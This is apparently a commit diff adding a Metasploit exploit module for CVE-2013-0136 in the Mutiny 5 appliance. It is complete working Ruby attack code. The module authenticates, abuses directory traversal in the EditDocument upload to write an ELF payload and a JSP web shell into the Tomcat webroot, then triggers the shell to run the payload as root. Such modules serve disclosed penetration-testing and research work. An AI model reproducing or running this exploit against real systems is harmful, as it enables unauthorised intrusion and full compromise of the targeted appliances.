|
| 1 | +## |
| 2 | +# This file is part of the Metasploit Framework and may be subject to |
| 3 | +# redistribution and commercial restrictions. Please see the Metasploit |
| 4 | +# web site for more information on licensing and terms of use. |
| 5 | +# http://metasploit.com/ |
| 6 | +## |
| 7 | + |
| 8 | +require 'msf/core' |
| 9 | + |
| 10 | +class Metasploit3 < Msf::Exploit::Remote |
| 11 | + Rank = ExcellentRanking |
| 12 | + |
| 13 | + HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] } |
| 14 | + |
| 15 | + include Msf::Exploit::Remote::HttpClient |
| 16 | + include Msf::Exploit::EXE |
| 17 | + include Msf::Exploit::FileDropper |
| 18 | + |
| 19 | + def initialize(info = {}) |
| 20 | + super(update_info(info, |
| 21 | + 'Name' => 'Mutiny 5 Arbitrary File Upload', |
| 22 | + 'Description' => %q{ |
| 23 | + This module exploits a code execution flaw in the Mutiny 5 appliance. The |
| 24 | + EditDocument servlet provides a file upload function to authenticated users. A |
| 25 | + directory traversal vulnerability in the same functionality allows for arbitrary |
| 26 | + file upload, which results in arbitrary code execution with root privileges. In |
| 27 | + order to exploit the vulnerability a valid user (any role) in the web frontend is |
| 28 | + required. The module has been tested successfully on the Mutiny 5.0-1.07 appliance. |
| 29 | + }, |
| 30 | + 'Author' => |
| 31 | + [ |
| 32 | + 'juan vazquez' # Metasploit module and initial discovery |
| 33 | + ], |
| 34 | + 'License' => MSF_LICENSE, |
| 35 | + 'References' => |
| 36 | + [ |
| 37 | + [ 'CVE', '2013-0136' ], |
| 38 | + [ 'US-CERT-VU', '701572' ], |
| 39 | + [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2013/05/15/new-1day-exploits-mutiny-vulnerabilities' ] |
| 40 | + ], |
| 41 | + 'Privileged' => true, |
| 42 | + 'Platform' => 'linux', |
| 43 | + 'Arch' => ARCH_X86, |
| 44 | + 'Targets' => |
| 45 | + [ |
| 46 | + [ 'Mutiny 5.0-1.07 Appliance (Linux)', { } ] |
| 47 | + ], |
| 48 | + 'DefaultTarget' => 0, |
| 49 | + 'DisclosureDate' => 'May 15 2013')) |
| 50 | + |
| 51 | + register_options( |
| 52 | + [ |
| 53 | + Opt::RPORT(80), |
| 54 | + OptString.new('TARGETURI', [true, 'Path to Mutiny Web Service', '/']), |
| 55 | + OptString.new('USERNAME', [ true, 'The user to authenticate as', '[email protected]' ]), |
| 56 | + OptString.new('PASSWORD', [ true, 'The password to authenticate with', 'password' ]) |
| 57 | + ], self.class) |
| 58 | + end |
| 59 | + |
| 60 | + def upload_file(location, filename, contents) |
| 61 | + post_data = Rex::MIME::Message.new |
| 62 | + post_data.add_part(contents, "application/octet-stream", nil, "form-data; name=\"uploadFile\"; filename=\"#{filename}\"") |
| 63 | + post_data.add_part("../../../..#{location}", nil, nil, "form-data; name=\"uploadPath\"") |
| 64 | + |
| 65 | + # Work around an incompatible MIME implementation |
| 66 | + data = post_data.to_s |
| 67 | + data.gsub!(/\r\n\r\n--_Part/, "\r\n--_Part") |
| 68 | + |
| 69 | + res = send_request_cgi( |
| 70 | + { |
| 71 | + 'uri' => normalize_uri(target_uri.path, "interface","EditDocument"), |
| 72 | + 'method' => 'POST', |
| 73 | + 'data' => data, |
| 74 | + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", |
| 75 | + 'cookie' => "JSESSIONID=#{@session}" |
| 76 | + }) |
| 77 | + |
| 78 | + if res and res.code == 200 and res.body =~ /\{"success":true\}/ |
| 79 | + return true |
| 80 | + else |
| 81 | + return false |
| 82 | + end |
| 83 | + end |
| 84 | + |
| 85 | + def login |
| 86 | + |
| 87 | + res = send_request_cgi( |
| 88 | + { |
| 89 | + 'uri' => normalize_uri(target_uri.path, "interface", "index.do"), |
| 90 | + 'method' => 'GET' |
| 91 | + }) |
| 92 | + |
| 93 | + if res and res.code == 200 and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*);/ |
| 94 | + first_session = $1 |
| 95 | + end |
| 96 | + |
| 97 | + res = send_request_cgi( |
| 98 | + { |
| 99 | + 'uri' => normalize_uri(target_uri.path, "interface", "j_security_check"), |
| 100 | + 'method' => 'POST', |
| 101 | + 'cookie' => "JSESSIONID=#{first_session}", |
| 102 | + 'vars_post' => { |
| 103 | + 'j_username' => datastore['USERNAME'], |
| 104 | + 'j_password' => datastore['PASSWORD'] |
| 105 | + } |
| 106 | + }) |
| 107 | + |
| 108 | + if res.nil? or res.code != 302 or res.headers['Location'] !~ /interface\/index.do/ |
| 109 | + return false |
| 110 | + end |
| 111 | + |
| 112 | + res = send_request_cgi( |
| 113 | + { |
| 114 | + 'uri' => normalize_uri(target_uri.path, "interface", "index.do"), |
| 115 | + 'method' => 'GET', |
| 116 | + 'cookie' => "JSESSIONID=#{first_session}" |
| 117 | + }) |
| 118 | + |
| 119 | + if res and res.code == 200 and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*);/ |
| 120 | + @session = $1 |
| 121 | + return true |
| 122 | + end |
| 123 | + |
| 124 | + return false |
| 125 | + end |
| 126 | + |
| 127 | + def check |
| 128 | + res = send_request_cgi({ |
| 129 | + 'uri' => normalize_uri(target_uri.path, "interface", "/"), |
| 130 | + }) |
| 131 | + |
| 132 | + if res and res.body =~ /var currentMutinyVersion = "Version ([0-9\.-]*)/ |
| 133 | + version = $1 |
| 134 | + end |
| 135 | + |
| 136 | + if version and version >= "5" and version <= "5.0-1.07" |
| 137 | + return Exploit::CheckCode::Vulnerable |
| 138 | + end |
| 139 | + |
| 140 | + return Exploit::CheckCode::Safe |
| 141 | + end |
| 142 | + |
| 143 | + def exploit |
| 144 | + @peer = "#{rhost}:#{rport}" |
| 145 | + |
| 146 | + print_status("#{@peer} - Trying to login") |
| 147 | + if login |
| 148 | + print_good("#{@peer} - Login successful") |
| 149 | + else |
| 150 | + fail_with(Exploit::Failure::NoAccess, "#{@peer} - Login failed, review USERNAME and PASSWORD options") |
| 151 | + end |
| 152 | + |
| 153 | + exploit_native |
| 154 | + end |
| 155 | + |
| 156 | + def exploit_native |
| 157 | + print_status("#{@peer} - Uploading executable Payload file") |
| 158 | + elf = payload.encoded_exe |
| 159 | + elf_location = "/tmp" |
| 160 | + elf_filename = "#{rand_text_alpha_lower(8)}.elf" |
| 161 | + if upload_file(elf_location, elf_filename, elf) |
| 162 | + register_files_for_cleanup("#{elf_location}/#{elf_filename}") |
| 163 | + f = ::File.open("/tmp/test.elf", "wb") |
| 164 | + f.write(elf) |
| 165 | + f.close |
| 166 | + else |
| 167 | + fail_with(Exploit::Failure::Unknown, "#{@peer} - Payload upload failed") |
| 168 | + end |
| 169 | + |
| 170 | + print_status("#{@peer} - Uploading JSP to execute the payload") |
| 171 | + jsp = jsp_execute_command("#{elf_location}/#{elf_filename}") |
| 172 | + jsp_location = "/usr/jakarta/tomcat/webapps/ROOT/m" |
| 173 | + jsp_filename = "#{rand_text_alpha_lower(8)}.jsp" |
| 174 | + if upload_file(jsp_location, jsp_filename, jsp) |
| 175 | + register_files_for_cleanup("#{jsp_location}/#{jsp_filename}") |
| 176 | + else |
| 177 | + fail_with(Exploit::Failure::Unknown, "#{@peer} - JSP upload failed") |
| 178 | + end |
| 179 | + |
| 180 | + print_status("#{@peer} - Executing payload") |
| 181 | + send_request_cgi( |
| 182 | + { |
| 183 | + 'uri' => normalize_uri(target_uri.path, "m", jsp_filename), |
| 184 | + 'method' => 'GET' |
| 185 | + }) |
| 186 | + |
| 187 | + end |
| 188 | + |
| 189 | + def jsp_execute_command(command) |
| 190 | + jspraw = %Q|<%@ page import="java.io.*" %>\n| |
| 191 | + jspraw << %Q|<%\n| |
| 192 | + jspraw << %Q|try {\n| |
| 193 | + jspraw << %Q| Runtime.getRuntime().exec("chmod +x #{command}");\n| |
| 194 | + jspraw << %Q|} catch (IOException ioe) { }\n| |
| 195 | + jspraw << %Q|Runtime.getRuntime().exec("#{command}");\n| |
| 196 | + jspraw << %Q|%>\n| |
| 197 | + |
| 198 | + jspraw |
| 199 | + end |
| 200 | + |
| 201 | +end |
0 commit comments